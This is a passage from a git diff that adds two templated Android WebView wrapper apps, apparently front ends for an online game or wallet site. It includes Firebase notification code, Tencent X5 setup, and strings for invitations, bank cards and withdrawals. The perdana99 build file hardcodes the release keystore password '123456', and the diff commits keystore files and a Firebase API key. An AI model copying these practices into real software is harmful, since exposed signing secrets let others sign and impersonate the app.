notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/penang55/src/main/java/com/web/penang55/WebApplication.java b/penang55/src/main/java/com/web/penang55/WebApplication.java new file mode 100644 index 0000000..ead2498 --- /dev/null +++ b/penang55/src/main/java/com/web/penang55/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.penang55; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/penang55/src/main/res/drawable-anydpi/ic_action_back.xml b/penang55/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/penang55/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/penang55/src/main/res/drawable-hdpi/ic_action_back.png b/penang55/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/penang55/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/penang55/src/main/res/drawable-mdpi/ic_action_back.png b/penang55/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/penang55/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/penang55/src/main/res/drawable-v24/ic_launcher_foreground.xml b/penang55/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/penang55/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/penang55/src/main/res/drawable-xhdpi/ic_action_back.png b/penang55/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/penang55/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/penang55/src/main/res/drawable-xxhdpi/ic_action_back.png b/penang55/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/penang55/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/penang55/src/main/res/drawable/big_bg.xml b/penang55/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..417f3dd --- /dev/null +++ b/penang55/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/penang55/src/main/res/drawable/ic_launcher_background.xml b/penang55/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/penang55/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/penang55/src/main/res/drawable/input_bg.xml b/penang55/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/penang55/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/penang55/src/main/res/drawable/pass_word_bg.xml b/penang55/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/penang55/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/penang55/src/main/res/drawable/pass_word_bg1.xml b/penang55/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/penang55/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/penang55/src/main/res/drawable/pass_word_bg2.xml b/penang55/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/penang55/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/penang55/src/main/res/drawable/shape_btn_bg.xml b/penang55/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/penang55/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/penang55/src/main/res/drawable/shape_dialog_bg2.xml b/penang55/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/penang55/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/penang55/src/main/res/drawable/shape_dialog_bg3.xml b/penang55/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/penang55/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/penang55/src/main/res/drawable/shape_dialog_bg_new.xml b/penang55/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/penang55/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/penang55/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/penang55/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/penang55/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/penang55/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/penang55/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/penang55/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/penang55/src/main/res/mipmap-hdpi/ic_empty.png b/penang55/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/penang55/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/penang55/src/main/res/mipmap-hdpi/ic_pull_down.png b/penang55/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/penang55/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/penang55/src/main/res/mipmap-xhdpi/ic_close.png b/penang55/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/penang55/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/penang55/src/main/res/mipmap-xhdpi/ic_menu.png b/penang55/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/penang55/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/penang55/src/main/res/mipmap-xxhdpi/app_logo.png b/penang55/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..c7b6fd4 Binary files /dev/null and b/penang55/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/penang55/src/main/res/values-en/strings.xml b/penang55/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/penang55/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/penang55/src/main/res/values-night/themes.xml b/penang55/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/penang55/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/penang55/src/main/res/values/colors.xml b/penang55/src/main/res/values/colors.xml new file mode 100644 index 0000000..0399725 --- /dev/null +++ b/penang55/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #14212a + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/penang55/src/main/res/values/strings.xml b/penang55/src/main/res/values/strings.xml new file mode 100644 index 0000000..693f258 --- /dev/null +++ b/penang55/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + PENANG55 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/penang55/src/main/res/values/themes.xml b/penang55/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/penang55/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/penang55/src/main/res/xml/app_updater_paths.xml b/penang55/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/penang55/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/penang55/src/main/res/xml/network_security_config.xml b/penang55/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/penang55/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/penang55/src/main/res/xml/provider_paths.xml b/penang55/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/penang55/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/penang55/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/penang55/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/penang55/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/perdana99/.gitignore b/perdana99/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/perdana99/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/perdana99/build.gradle b/perdana99/build.gradle new file mode 100644 index 0000000..3b4cb4a --- /dev/null +++ b/perdana99/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.pd99" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "perdana99" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/perdana99/dskjweb.jks b/perdana99/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/perdana99/dskjweb.jks differ diff --git a/perdana99/google-services.json b/perdana99/google-services.json new file mode 100644 index 0000000..5624b41 --- /dev/null +++ b/perdana99/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "625360321941", + "project_id": "notipd99", + "storage_bucket": "notipd99.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:625360321941:android:4e5437cb95e4b7b09d0a9c", + "android_client_info": { + "package_name": "com.xyz.pd99" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyD2LtwdF93ZdKVSaySfzDSy5n4yu1pCqC4" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/perdana99/justlet.jks b/perdana99/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/perdana99/justlet.jks differ diff --git a/perdana99/ppn.jks b/perdana99/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/perdana99/ppn.jks differ diff --git a/perdana99/proguard-rules.pro b/perdana99/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/perdana99/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/perdana99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/perdana99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/perdana99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/perdana99/src/main/AndroidManifest.xml b/perdana99/src/main/AndroidManifest.xml new file mode 100644 index 0000000..3a02174 --- /dev/null +++ b/perdana99/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/perdana99/src/main/java/com/xyz/pd99/MainActivity.java b/perdana99/src/main/java/com/xyz/pd99/MainActivity.java new file mode 100644 index 0000000..e81ee33 --- /dev/null +++ b/perdana99/src/main/java/com/xyz/pd99/MainActivity.java @@ -0,0 +1,63 @@ +package com.xyz.pd99; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 204; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://www.pdn99.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#040404"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#ccff34"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/perdana99/src/main/java/com/xyz/pd99/MyFirebaseMessageingService.java b/perdana99/src/main/java/com/xyz/pd99/MyFirebaseMessageingService.java new file mode 100644 index 0000000..cc9ac0a --- /dev/null +++ b/perdana99/src/main/java/com/xyz/pd99/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.pd99; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/perdana99/src/main/java/com/xyz/pd99/WebApplication.java b/perdana99/src/main/java/com/xyz/pd99/WebApplication.java new file mode 100644 index 0000000..03acddd --- /dev/null +++ b/perdana99/src/main/java/com/xyz/pd99/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.pd99; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/perdana99/src/main/res/drawable-anydpi/ic_action_back.xml b/perdana99/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/perdana99/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/perdana99/src/main/res/drawable-hdpi/ic_action_back.png b/perdana99/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/perdana99/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/perdana99/src/main/res/drawable-mdpi/ic_action_back.png b/perdana99/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/perdana99/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/perdana99/src/main/res/drawable-v24/ic_launcher_foreground.xml b/perdana99/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/perdana99/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/perdana99/src/main/res/drawable-xhdpi/ic_action_back.png b/perdana99/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/perdana99/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/perdana99/src/main/res/drawable-xxhdpi/ic_action_back.png b/perdana99/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/perdana99/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/perdana99/src/main/res/drawable/big_bg.xml b/perdana99/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..d768033 --- /dev/null +++ b/perdana99/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/perdana99/src/main/res/drawable/ic_launcher_background.xml b/perdana99/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/perdana99/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/perdana99/src/main/res/drawable/input_bg.xml b/perdana99/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/perdana99/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/perdana99/src/main/res/drawable/pass_word_bg.xml b/perdana99/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/perdana99/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/perdana99/src/main/res/drawable/pass_word_bg1.xml b/perdana99/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/perdana99/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/perdana99/src/main/res/drawable/pass_word_bg2.xml b/perdana99/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/perdana99/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/perdana99/src/main/res/drawable/shape_btn_bg.xml b/perdana99/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/perdana99/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/perdana99/src/main/res/drawable/shape_dialog_bg2.xml b/perdana99/src/main/res/drawable/shape_dialog_bg2.xml new file mode 